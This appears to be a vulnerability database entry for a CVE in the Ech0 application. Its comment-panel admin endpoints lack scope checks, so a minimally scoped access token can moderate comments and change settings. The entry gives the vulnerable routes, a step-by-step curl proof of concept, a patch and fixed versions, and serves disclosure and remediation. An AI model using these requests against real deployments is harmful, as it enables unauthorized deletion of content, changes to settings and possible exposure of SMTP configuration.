CVE-2026-79672Medium· 5.5▾ SunlitEch0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass
▾ Sunlit zone — Low / medium · no exploitation signal
impact 30.3 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 27.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
All 9 comment panel admin endpoints (/api/panel/comments/*) are missing RequireScopes() middleware, while every other admin endpoint in the application enforces scope-based authorization on access tokens. An admin-issued access token scoped to minimal permissions (e.g., echo:read only) can perform full comment moderation operations including listing, approving, rejecting, deleting comments, and modifying comment system settings.
The access token scope enforcement system works as follows: JWTAuthMiddleware (internal/middleware/auth.go) parses any valid JWT and injects a viewer into the request context. The RequireScopes() middleware (internal/middleware/scope.go:14) then checks whether the token is an access token and, if so, validates that it carries the required scopes. Session tokens are passed through without scope checks (by design — sessions represent full user authority).
Every admin route group applies RequireScopes() per-handler:
internal/router/echo.go — uses RequireScopes(ScopeEchoWrite) / RequireScopes(ScopeEchoRead)internal/router/file.go — uses RequireScopes(ScopeFileRead) / RequireScopes(ScopeFileWrite)internal/router/user.go — uses RequireScopes(ScopeAdminUser) / RequireScopes(ScopeProfileRead)internal/router/setting.go — uses RequireScopes(ScopeAdminSettings) / RequireScopes(ScopeAdminToken)However, internal/router/comment.go:28-36 registers all 9 panel endpoints directly on AuthRouterGroup without any RequireScopes() call:
// internal/router/comment.go:28-36
appRouterGroup.AuthRouterGroup.GET("/panel/comments", h.CommentHandler.ListPanelComments())
appRouterGroup.AuthRouterGroup.GET("/panel/comments/:id", h.CommentHandler.GetCommentByID())
appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/status", h.CommentHandler.UpdateCommentStatus())
appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/hot", h.CommentHandler.UpdateCommentHot())
appRouterGroup.AuthRouterGroup.DELETE("/panel/comments/:id", h.CommentHandler.DeleteComment())
appRouterGroup.AuthRouterGroup.POST("/panel/comments/batch", h.CommentHandler.BatchAction())
appRouterGroup.AuthRouterGroup.GET("/panel/comments/settings", h.CommentHandler.GetCommentSetting())
appRouterGroup.AuthRouterGroup.PUT("/panel/comments/settings", h.CommentHandler.UpdateCommentSetting())
appRouterGroup.AuthRouterGroup.POST("/panel/comments/settings/test-email", h.CommentHandler.TestCommentEmail())
The service layer's requireAdmin() (internal/service/comment/comment.go:719-732) only validates the user's database role (IsAdmin/IsOwner), not the token's scopes:
func (s *CommentService) requireAdmin(ctx context.Context) error {
v := viewer.MustFromContext(ctx)
if v == nil || strings.TrimSpace(v.UserID()) == "" {
return commonModel.NewBizError(...)
}
user, err := s.commonService.CommonGetUserByUserId(ctx, v.UserID())
if err != nil { return err }
if !user.IsAdmin && !user.IsOwner {
return commonModel.NewBizError(...)
}
return nil
}
The scopes comment:read, comment:write, and comment:moderate are defined in internal/model/auth/scope.go:11-13 and registered as valid scopes, but are never referenced in any RequireScopes() middleware call anywhere in the codebase.
Execution flow: Request with access token (scoped to echo:read only) → JWTAuthMiddleware extracts user ID, sets viewer → No RequireScopes middleware → Handler calls service → requireAdmin() checks user.IsAdmin (true for admin user) → Operation succeeds.
# 1. As admin, create an access token scoped ONLY to echo:read
curl -X POST https://target/api/settings/access-tokens \
-H 'Authorization: Bearer <admin-session-token>' \
-H 'Content-Type: application/json' \
-d '{"name":"readonly","scopes":["echo:read"],"audience":["public-client"],"expiry_days":30}'
# Save the returned token as $TOKEN
# 2. Verify the token CANNOT access other admin endpoints (scoped correctly):
curl https://target/api/settings \
-H "Authorization: Bearer $TOKEN"
# Expected: 403 Forbidden (scope check blocks access)
# 3. Use the same limited token to list ALL comments (including pending/rejected):
curl https://target/api/panel/comments \
-H "Authorization: Bearer $TOKEN"
# Expected: 200 OK with full comment list (bypasses scope enforcement)
# 4. Delete a comment:
curl -X DELETE https://target/api/panel/comments/<comment-id> \
-H "Authorization: Bearer $TOKEN"
# Expected: 200 OK (should require comment:moderate scope)
# 5. Approve/reject comments:
curl -X PATCH https://target/api/panel/comments/<comment-id>/status \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"status":"approved"}'
# Expected: 200 OK (should require comment:moderate scope)
# 6. Read comment system settings:
curl https://target/api/panel/comments/settings \
-H "Authorization: Bearer $TOKEN"
# Expected: 200 OK (may expose SMTP configuration)
# 7. Disable the comment system entirely:
curl -X PUT https://target/api/panel/comments/settings \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable_comment":false}'
# Expected: 200 OK (should require admin:settings scope)
echo:read) can approve, reject, delete, and batch-modify all comments.comment:read scope.Add RequireScopes() middleware to all comment panel routes in internal/router/comment.go:
func setupCommentRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
// ... captcha and public routes unchanged ...
// Admin Panel — enforce scopes on access tokens
appRouterGroup.AuthRouterGroup.GET("/panel/comments",
middleware.RequireScopes(authModel.ScopeCommentRead),
h.CommentHandler.ListPanelComments())
appRouterGroup.AuthRouterGroup.GET("/panel/comments/:id",
middleware.RequireScopes(authModel.ScopeCommentRead),
h.CommentHandler.GetCommentByID())
appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/status",
middleware.RequireScopes(authModel.ScopeCommentMod),
h.CommentHandler.UpdateCommentStatus())
appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/hot",
middleware.RequireScopes(authModel.ScopeCommentMod),
h.CommentHandler.UpdateCommentHot())
appRouterGroup.AuthRouterGroup.DELETE("/panel/comments/:id",
middleware.RequireScopes(authModel.ScopeCommentMod),
h.CommentHandler.DeleteComment())
appRouterGroup.AuthRouterGroup.POST("/panel/comments/batch",
middleware.RequireScopes(authModel.ScopeCommentMod),
h.CommentHandler.BatchAction())
appRouterGroup.AuthRouterGroup.GET("/panel/comments/settings",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.CommentHandler.GetCommentSetting())
appRouterGroup.AuthRouterGroup.PUT("/panel/comments/settings",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.CommentHandler.UpdateCommentSetting())
appRouterGroup.AuthRouterGroup.POST("/panel/comments/settings/test-email",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.CommentHandler.TestCommentEmail())
}
github.com/lin-snow/ech0 < 4.4.3Upgrade to a patched release:
github.com/lin-snow/ech0 4.4.3Connected by shared product, vendor, weakness, or advisory.
CVE-2026-79669Medium· 4.3Ech0's Missing Authorization on System Logs Allows Non-Admin Information Disclosure
CVE-2026-79671Medium· 5.5Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation
CVE-2026-79673Medium· 6.5Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session
CVE-2026-79670Medium· 4.8Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload
CVE-2026-79660Medium· 5.3Ech0 comment model's Email field returned on public /api/comments endpoints
CVE-2026-79668Medium· 5.3Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation